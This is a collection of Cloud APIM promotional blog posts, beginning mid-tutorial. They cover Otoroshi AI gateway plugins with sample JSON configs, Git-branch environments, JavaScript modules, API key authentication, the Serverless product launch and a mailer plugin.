6. Create the Context Entity

In your entities/ai.json file add an 'AiPromptContext' entity.

Here is an example of an 'AiPromptContext' entity :

{
    "_loc": {
        "tenant": "default",
        "teams": ["default"]
    },
    "id": "ai-context",
    "name": "AI Context",
    "description": "",
    "metadata": {},
    "tags": {},
    "messages": [
        {
            "role": "system",
            "content": "Cloud APIM is a french company that provides API Management as a Service through managed Otoroshi instances, Serverless projects, etc"
        }
    ],
    "kind": "AiPromptContext"
}

7. Create your API endpoint

Don't forget to add the LLM proxy plugin to your Context route !

Here is an OpenAPI example to use 'AiPromptContext' plugin.

{
    "openapi": "3.1.0",
    "info": {
        "title": "AI Plugins for Cloud-APIM Serverless Projects",
        "version": "1.0.0",
        "description": "An easy getting started project template to use AI in your Cloud-APIM Serverless projects",
        "contact": {
            "name": "Cloud APIM Default contact address",
            "url": "https://www.cloud-apim.com",
            "email": "contact@cloud-apim.com"
        },
        "x-logo-none": {
            "url": "https://www.cloud-apim.com/assets/logo/cloud-apim-logo-inverted.png"
        }
    },
    "tags": [],
    "paths": {
        "/context": {
            "post": {
                "tags": [],
                "summary": "",
                "operationId": "getAIContext",
                "x-cloud-apim-backend": {
                    "$ref": "#/components/x-cloud-apim-backends/mirror"
                },
                "x-cloud-apim-plugins": {
                    "$ref": "#/components/x-cloud-apim-plugins/context"
                }
            }
        }
    },
    "components": {
        "x-cloud-apim-plugins": {
            "context": [
                {
                    "enabled": true,
                    "debug": false,
                    "plugin": "cp:otoroshi.next.plugins.OverrideHost",
                    "include": [],
                    "exclude": [],
                    "config": {}
                },
                {
                    "enabled": true,
                    "debug": false,
                    "plugin": "cp:otoroshi_plugins.com.cloud.apim.otoroshi.extensions.aigateway.plugins.AiLlmProxy",
                    "include": [],
                    "exclude": [],
                    "config": {
                        "ref": "provider-openai"
                    }
                },
                {
                    "enabled": true,
                    "debug": false,
                    "plugin": "cp:otoroshi_plugins.com.cloud.apim.otoroshi.extensions.aigateway.plugins.AiPromptContext",
                    "include": [],
                    "exclude": [],
                    "config": {
                        "ref": "ai-context"
                    }
                }
            ]
        },
        "x-cloud-apim-backends": {
            "mirror": {
                "targets": [
                    {
                        "hostname": "mirror.otoroshi.io",
                        "port": 443,
                        "tls": true
                    }
                ],
                "root": "/",
                "rewrite": false
            }
        }
    }
}

8. Go further

You can go further by adding API Keys to secure your AI endpoints and use much more plugins provided by Cloud APIM.

Customization of your API endpoints is unlimited.

✨ Conclusion

Creating your first AI provider entity and context entity can significantly enhance the capabilities of your API gateway.

By integrating AI, you can provide smarter, more secure, and personalized experiences for your users.

Follow the steps outlined in this guide to get started on your AI journey and unlock the full potential of your API management.

To help you using our new set of plugins, we created a YouTube playlist containing all our AI Gateway videos.

🚀 Get Started Now

Ready to get started with Cloud APIM Serverless ?

Sign up now and take the first step towards secure and efficient API management !

📡 Stay Connected

Follow our blog for the latest updates, tips, and best practices for Cloud APIM Serverless and API management.

🏢 About Cloud APIM

Cloud APIM provides cutting-edge, managed solutions for API management, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer the most advanced tools and services to our customers, empowering them to achieve their digital transformation goals.

API gateways are essential in modern architecture. They manage traffic between your services, control traffic going to your applications and apis, etc.

But, what if they could do more ?

🌟 AI can transform your API gateway, making it smarter and more efficient.

LLM + API Gateway = AI Gateway ❤️

At Cloud APIM, we have created a set of Large Language Model (LLM) plugins for Otoroshi, the open-source reverse proxy and API Management, in order to connect your API to a LLM and benefits from its capacities.

These plugins will be open sourced very soon ! Stay tuned.

In this little blog post, we will see how AI could help you in many cases : Adding context to your API, create prompt templates, data anonymization and much much more !

💡 Contextual Intelligence

AI brings contextual intelligence. It understands the context of your API requests. This means smarter, more relevant responses.

Your APIs becomes more efficient.

AI can analyze patterns and predict user needs, enhancing the overall user experience.

Context-aware routing ensures the right data is delivered at the right time, reducing latency and improving performance.

🛠️ Dynamic Prompt Templating

AI enables dynamic prompt templating.

Templates adjust based on real-time data.

This streamlines complex workflows. It's customization at its best.

AI-driven prompts can guide users through complex processes, reducing errors and improving satisfaction.

Dynamic templates mean your APIs can adapt on the fly, providing tailored interactions without manual intervention.

🕵️‍♂️ Enhancing Data Privacy with AI-Powered Data Anonymization 🔒

Data anonymization is a critical component of modern data management, particularly in the context of API gateways.

AI-powered anonymization techniques offer advanced methods to protect sensitive information while preserving data utility.

By integrating these techniques into your API gateway, you can enhance privacy, ensure compliance, and maintain the trust of your users.

Embrace AI-driven anonymization to safeguard your data and unlock its full potential responsibly.

🌍 Real-World Use Cases

AI in API gateways is not just theory.

Companies worldwide are implementing these solutions.

For instance, e-commerce platforms use AI to personalize shopping experiences.

Financial services leverage AI for fraud detection.

Healthcare providers utilize AI to manage patient data securely.

The possibilities are endless.

🚀 Future Prospects

The future of AI in API Gateways looks bright.

With continued advancements, we can expect even more sophisticated features.

Improved predictive analytics, deeper integrations, and smarter automation are on the horizon.

Staying up to date with these trends will allow you to keep your API management on the cutting edge.

✨ Conclusion

AI transforms API Gateways by providing intelligence, security and efficiency.

Ready to revolutionize your API management?

Integrate AI into your gateway today ! 🚀

✨ With AI, your API Gateway is no longer just a traffic manager, but a powerful tool that drives innovation and growth.

To help you using our new set of plugins, we created a YouTube playlist containing all our AI Gateway videos.

🚀 Start putting AI into your API Gateway now !

If you wish to use the AI ​​plugins available for Otoroshi, you can do so today via our two offers Otoroshi managed instances and Serverless projects.

In addition to these plugins, you will have access to more than 50 other plugins for customizing and managing your APIs !

Sign up now and take the first step towards secure and efficient API management !

📡 Stay Connected

Follow our blog for the latest updates, tips, and best practices for Cloud APIM Serverless and API management.

🏢 About Cloud APIM

Cloud APIM provides cutting-edge, managed solutions for API management, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer the most advanced tools and services to our customers, empowering them to achieve their digital transformation goals.

Cloud APIM Serverless uses the power of GitOps to help with the management of these environments, making it easy to link different environments to specific Git branches.

We will see through this article what environments are used for and how to use them.

🌍 Why using Multiple Environments ?

Using multiple environments allows you to:

• Test changes safely : Validate new features and bug fixes in a controlled environment before they reach production.

• Ensure stability : Isolate production from development and testing activities to minimize the risk of introducing bugs.

• Facilitate collaboration : Enable different teams to work simultaneously without interfering with each other’s work.

🚀 Set up multiple project Environments

1. Create Separate Git Branches:

   • Start by creating separate branches for each environment in your Git repository, such as development, staging, and production.

   • Ensure that each branch reflects the state of its respective environment.

2. Configure Environments in Cloud APIM Serverless:

   • Log in to your Cloud APIM Serverless dashboard.

   • Navigate to the "Projects" section and select your project.

   • Click on "Environments" and add new environments for staging, and production. You can name it as you wish.

   • At the creation of your project, a default ' sandbox ' environment is created. It's a dev environment, you can link it to your development branch.

3. Link Git Branches to Environments:

   • For each environment, configure the corresponding Git branch:

     • Select the environment (e.g. production).

     • Link the environment to the production branch of your Git repository.

     • Repeat this process for all your environments, linking them to their respective branches.

🌟 Benefits of using Separated Environments

• Isolation of Changes : Separated environments allow you to test new features, updates, or fixes in isolation without affecting the live production environment.

  This isolation helps catching bugs and issues early, reducing the risk of introducing problems into the production environment.

• Risk Mitigation : By separating environments, you minimize the impact of potential disruptions.

  Issues encountered in the development or staging environment can be resolved without affecting end users, thus maintaining the stability and reliability of the production environment.

• Security : Using separated environments also help maintaining compliance with regulatory requirements by ensuring that sensitive data is only used in appropriate environments.

  They also enhance security by restricting access to production data and systems, reducing the risk of unauthorized changes or data breaches.

🎉 Conclusion

Managing multiple environments using Git branches in Cloud APIM Serverless enhances your development workflow, ensuring a smooth and reliable path from development to production.

By leveraging GitOps practices, you can automate deployments, maintain consistency, and streamline collaboration across your team.

Start integrating multiple environments in your Cloud APIM Serverless project today and experience the benefits of a robust, efficient, and scalable API management solution.

🚀 Get Started Now

Ready to get started with Cloud APIM Serverless ?

Sign up now and take the first step towards secure and efficient API management !

📡 Stay Connected

Follow our blog for the latest updates, tips, and best practices for Cloud APIM Serverless and API management.

🏢 About Cloud APIM

Cloud APIM provides cutting-edge, managed solutions for API management, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer the most advanced tools and services to our customers, empowering them to achieve their digital transformation goals.

And sometimes everything goes wrong ...

In such cases, it can be really helpful to be able to customize things in a central place to keep everyone happy.

🚀 That's why we're thrilled to introduce our new feature : JavaScript Modules

This new feature in Cloud APIM Serverless empowers developers to tailor their APIs to their exact specifications.

🤔 What are JavaScript Modules ?

🔄 JavaScript Modules are reusable blocks of code written in JavaScript that can be easily integrated into your APIs.

These modules encapsulate specific functionality, such as data validation, transformation, or custom business logic, allowing you to enhance and extend the capabilities of your APIs.

💡 Why integrating JavaScript Modules ?

With JavaScript Modules, you have the freedom to customize every aspect of your API.

Whether you need to implement complex validation rules, transform data formats, or integrate with external services, JavaScript Modules provide a flexible and powerful solution.

By leveraging existing modules or creating your own, you can accelerate development and streamline maintenance, all while maintaining the scalability and reliability of your APIs.

🌟 Key Benefits of JavaScript Modules

Flexibility: JavaScript Modules enable you to adapt your APIs to meet the unique requirements of your applications and users.

Reusability: Reuse existing modules across multiple APIs to save time and effort in development.

Scalability: Scale your APIs effortlessly by leveraging modular architecture and distributed computing.

Maintainability: Simplify maintenance and updates by encapsulating logic in self-contained modules.

Innovation : Experiment with new features and functionality without disrupting existing APIs, fostering a culture of innovation and continuous improvement. 🚀

🏁 Getting Started with JavaScript Modules

Getting started with JavaScript Modules in Cloud APIM Serverless is easy.

Simply browse our library of pre-built modules or create your own using your favorite JavaScript framework.

💻 Integrate modules seamlessly into your APIs using our intuitive interface, and start unlocking the full potential of customization today.

1. Sign Up on Cloud APIM Serverless :

   Before setting up a Javascript Module, ensure you have created a project on Cloud APIM Serverless.

   If you haven't created one yet, follow these steps:

   • Log in to your Cloud APIM Serverless dashboard.

   • Click on "New project" and fill in your project name.

2. Create your first Module :

   • Navigate to the " modules" folder and create a new one.

     Your filename must ends by '.js'

     For example you can create a new file named 'first-module.js'

   • Copy and paste the following code and edit it as you wish

exports.on_backend_call = function (ctx) {
    return fetch(`https://jsonplaceholder.typicode.com/todos`)
    .then(response => response.json())
    .then(json => {
      return {
        status: 200,
        headers: {
          'Content-Type': 'application/json'
        },
        body_json: { 
          size: json.length, 
          data: json 
        }
      }
    })
};

3. Link your module to your route :

   • Select the "openapi.json" file

   • Choose the route you want to add the plugin or create a new route if you don't have one yet

   • In the ' plugins ' section let's choose Javascript Module Plugin

   • And now you just have to link the filename of your module

    {
      "module": "/modules/first-module.js"
    }

🎉 Conclusion

JavaScript Modules are a game-changer for API customization, offering unparalleled flexibility, reusability, and scalability.

With Cloud APIM Serverless, you have the tools you need to take your APIs to the next level and deliver exceptional experiences to your users.

Embrace the power of JavaScript Modules and transform the way you build APIs forever.

🚀 Get Started Now

Ready to get started with Cloud APIM Serverless ?

Sign up now and take the first step towards secure and efficient API management !

📡 Stay Connected

Follow our blog for the latest updates, tips, and best practices for Cloud APIM Serverless and API management.

🏢 About Cloud APIM

Cloud APIM provides cutting-edge, managed solutions for API management, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer the most advanced tools and services to our customers, empowering them to achieve their digital transformation goals.

With Cloud APIM Serverless, implementing API Keys authentication for your routes is straightforward and effective.

By generating unique API Keys for each authorized user or application, you can ensure secure access to your APIs while tracking and controlling usage.

In this guide, we'll explore how to set up API Keys authentication on Cloud APIM Serverless routes, empowering you to safeguard your APIs and data effectively.

🤔 What are API Keys?

API keys are unique identifiers that are passed along with API requests to authenticate the calling application.

They help track and control how the API is being used, ensuring that only authorized users can access the API.

🔑 Why using API Keys?

1. 🔒 Security : API keys act as a gatekeeper, restricting access to your API and ensuring that only authorized applications can interact with it.

2. 📊 Usage Tracking : API keys serve as tracking beacons, allowing you to monitor how your API is being used, providing valuable insights and analytics into usage patterns.

3. ⏱️ Rate Limiting : With API keys, you can enforce rate limits to prevent abuse and ensure fair usage, maintaining optimal performance for all users.

🔧 Setting Up API Keys with Cloud APIM Serverless

🆕 Step 1 : Create a Serverless Project

Before setting up API keys, ensure you have an API created within Cloud APIM Serverless. If you haven't created one yet, follow these steps:

1. Log in to your Cloud APIM Serverless dashboard.

2. Click on "New project" and fill in your project name.

3. Use Github as a provider and choose to fork the empty project template

🔐 Step 2 : Enable API Key Authentication

1. Navigate to Your OpenAPI file :

• In your Cloud APIM Serverless dashboard, select the API you want to secure

• Select the "openapi.json" file

• Choose the route you want to enable API Key Authentication or create a new route if you don't have one yet

  • in case you want to create a route, click on 'Create new route' and fill the route with a path on '/todos' and the method to 'GET'.

    Add the 'Override host header' in the plugins

2. Add API Key Authentication plugin :

• In the plugins list click on ‘add plugin'

• Search for ‘ApiKeys’ plugin

• You can now save the default configuration and push your changes to Github

🔑 Step 3 : Generate API Keys

1. Go to the API Keys in your toolbar :

- In the dashboard, navigate to the "API Keys" section.

2. Create a New API Key:

- Click on "+" button to create a new Api Key

- Fill in the details such as the key name, add users as managers, select environments and define your own quotas for each Api Key

- Click "save" to create the API key.

🌐 Step 4 : Use API Keys in Requests

• To access your API using the API key, click on ‘tools’ in your toolbar and then select ‘Tests’

• Select the method you want to use, the route path and the Api Key you’ve created previously

• Click on ‘Run’ button to send the request

• You will see the response body at the bottom of the Test Popup

🚪 Best Practices for API Key Management

🔒 Keep Keys Confidential : Never expose your API keys in public repositories, client-side code, or unsecured locations.

🔄 Rotate Keys Regularly : Periodically regenerate API keys to minimize the risk of compromised keys.

👀 Monitor Usage : Regularly check usage logs to detect any unusual or unauthorized activity.

⏱️ Enforce Rate Limits : Implement rate limiting to protect your API from abuse and ensure fair usage.

🎉 Conclusion

Securing your APIs with API keys is a fundamental step in protecting your services and ensuring efficient usage.

Cloud APIM Serverless makes it easy to set up and manage API keys, providing robust security and insightful analytics.

By following the steps outlined above, you can ensure your APIs are secure and ready for use.

🚀 Get Started Now

Ready to get started with Cloud APIM Serverless ?

Sign up now and take the first step towards secure and efficient API management !

📡 Stay Connected

Follow our blog for the latest updates, tips, and best practices for Cloud APIM Serverless and API management.

🏢 About Cloud APIM

Cloud APIM provides cutting-edge, managed solutions for API management, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer the most advanced tools and services to our customers, empowering them to achieve their digital transformation goals.

That's why we're excited to introduce Cloud APIM Serverless, our cutting-edge solution designed to streamline the deployment and management of your APIs.

Cloud APIM Serverless removes the complexities of traditional infrastructure, allowing you to focus on innovation and growth.

With features like fast shipping, robust security, and API analytics, our platform empowers developers, startups, small businesses, and large enterprises to efficiently manage their APIs and drive business success.

🤔 Why using Cloud APIM Serverless ?

Traditional API management solutions often come with the overhead of managing servers, provisioning resources, and dealing with scalability challenges.

With our Serverless product, say goodbye to infrastructure headaches and hello to a seamless, serverless experience.

Our product leverages the power of serverless architecture, eliminating the need for manual server management (even from our own managed otoroshi instances service 😉) and allowing you to focus on innovation rather than infrastructure maintenance.

🌟 Main Features and Benefits

🚀 Fast Deployment : Launch APIs in minutes, not days. Our intuitive interface makes it easy to deploy and manage APIs with just a few clicks.

🔧 GitOps Driven : At the core of Serverless APIM is a GitOps-driven approach to API management. By adopting GitOps principles, we empower teams to manage their API configurations, deployments, and infrastructure as code through version control systems like Git.

🌐 Use Project Environments : Serverless projects environments are seamlessly integrated with version control through Git, allowing each environment to be linked to a specific Git branch.

🔒 Built-in Security : Protect your APIs with built-in authentication and authorization features. From API keys to OAuth, we've got you covered.

📊 API Analytics : Gain valuable insights into API usage, performance metrics, and user behavior with our real-time analytics dashboard. Make informed decisions and optimize your APIs for maximum impact.

📚 Developer-Friendly Documentation : Empower developers with comprehensive documentation, code samples, and interactive tools. Foster collaboration and accelerate innovation within your organization.

📜 OpenAPI Integration : You can easily manage references, schemas, and OpenAPI components, ensuring consistency and streamlining collaboration across your API projects.

💰 API Monetisation : With Serverless APIM, monetizing your APIs is effortless. Our platform offers built-in tools to set up plans and define quotas.

🌍 Who Can Benefit?

Whether you're a startup looking to launch your first API or a large enterprise managing a complex API ecosystem, Cloud APIM Serverless is tailored to meet your needs.

Our flexible and scalable solution adapts to your business requirements, enabling you to focus on what matters most: delivering value to your customers.

🚀 Get Started Now !

Ready to experience the future of API management?

We are launching the private beta of Cloud APIM Serverless today. Anyone can join, just 🚀 Sign up now and register for the beta by clicking on this link and see the difference for yourself.

You can also watch a quick intro video to learn how to create your first api endpoint

📡 Stay Connected

Follow our blog for the latest updates, tips, and best practices for Cloud APIM Serverless and API management.

🏢 About Cloud APIM

Cloud APIM provides cutting-edge, managed solutions for API management, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer the most advanced tools and services to our customers, empowering them to achieve their digital transformation goals.

Streamlined Email Capabilities

The Mailer Plugin transforms how you send emails through Otoroshi. By exposing an asynchronous REST API on any Otoroshi route, this plugin allows you to send emails seamlessly. Whether you need to dispatch straightforward text emails, rich HTML content, or messages with attachments, the Mailer Plugin handles it all effortlessly.

Features at a Glance

• Asynchronous Email API: Integrate email functionalities without impacting the performance of your main application.

• Flexible SMTP Integration: Connect to any SMTP server of your choice, providing the freedom to use the email service that best fits your needs.

• Rich Email Content: Support for text, HTML emails, and attachments ensures you can send detailed and engaging emails to your users.

• Activity Monitoring: Otoroshi events integrated within the plugin allow you to track email activities, ensuring transparency and aiding in troubleshooting.

Open Source and Ready to Use

In line with our commitment to the open-source community and our users’ success, the Mailer Plugin is completely open source. This means you can modify, enhance, and adapt the plugin to meet your specific requirements.

Getting Started

The Mailer Plugin is available now and can be easily integrated into your existing Otoroshi instance. Visit our GitHub page to download the plugin, access detailed installation instructions, and start sending emails in a more integrated, efficient way. The Mailer Plugin is already available on your Cloud APIM managed Otoroshi instances.

About Cloud APIM

Cloud APIM provides cutting-edge, managed solutions for API management, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer the most advanced tools and services to our customers, empowering them to achieve their digital transformation goals.

Goodbye Compilation, Hello JavaScript!

The essence of innovation often lies in simplification. Recognizing the hurdles presented by the compilation process in WASM-based plugin development, we sought an alternative that maintains flexibility without the complexity. Dynamic JavaScript Modules is our solution, eliminating the need for compilation and allowing you to develop Otoroshi plugins directly in JavaScript.

The Power of Dynamic JavaScript Modules

Dynamic JavaScript Modules empower you to write and deploy your plugins with unmatched ease. Whether your JavaScript code is local, served over HTTP/S, or written inline, our new open-source project seamlessly integrates with your workflow. This means you can iterate and deploy your plugins faster, focusing on functionality rather than fretting over the build process.

Key Features:

• No Compilation Needed: Jump straight into writing your plugins with JavaScript, bypassing the tedious compilation steps.

• Flexible Code Hosting: Whether your code resides on your server, is available online, or is directly embedded within your project, Dynamic JavaScript Modules adapt to your setup.

• Open for All: Compatible with any Otoroshi instance, this project extends its benefits to a wide array of users, not just those on Cloud APIM.

Available Now on Cloud APIM

For Cloud APIM users, accessing Dynamic JavaScript Modules is as simple as ever. This innovation is already integrated with your Cloud APIM Otoroshi instances, ready to unlock new potentials in plugin development.

Join the Future of Plugin Development

As we open-source Dynamic JavaScript Modules, we invite developers, innovators, and dreamers to join us in exploring new horizons in API management. This project is not just a testament to our commitment to open-source; it's an invitation to collaborate, innovate, and create more dynamic, efficient, and user-friendly plugins than ever before.

Conclusion

The open-sourcing of Dynamic JavaScript Modules marks a significant milestone in our journey to streamline API management. By enabling JavaScript-based plugin development without the hassle of compilation, we're opening doors to faster innovation and a more inclusive developer experience. Dive into Dynamic JavaScript Modules today and start building the future of API plugins with Cloud APIM.

About Cloud APIM

Cloud APIM provides cutting-edge, managed solutions for API management, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer the most advanced tools and services to our customers, empowering them to achieve their digital transformation goals.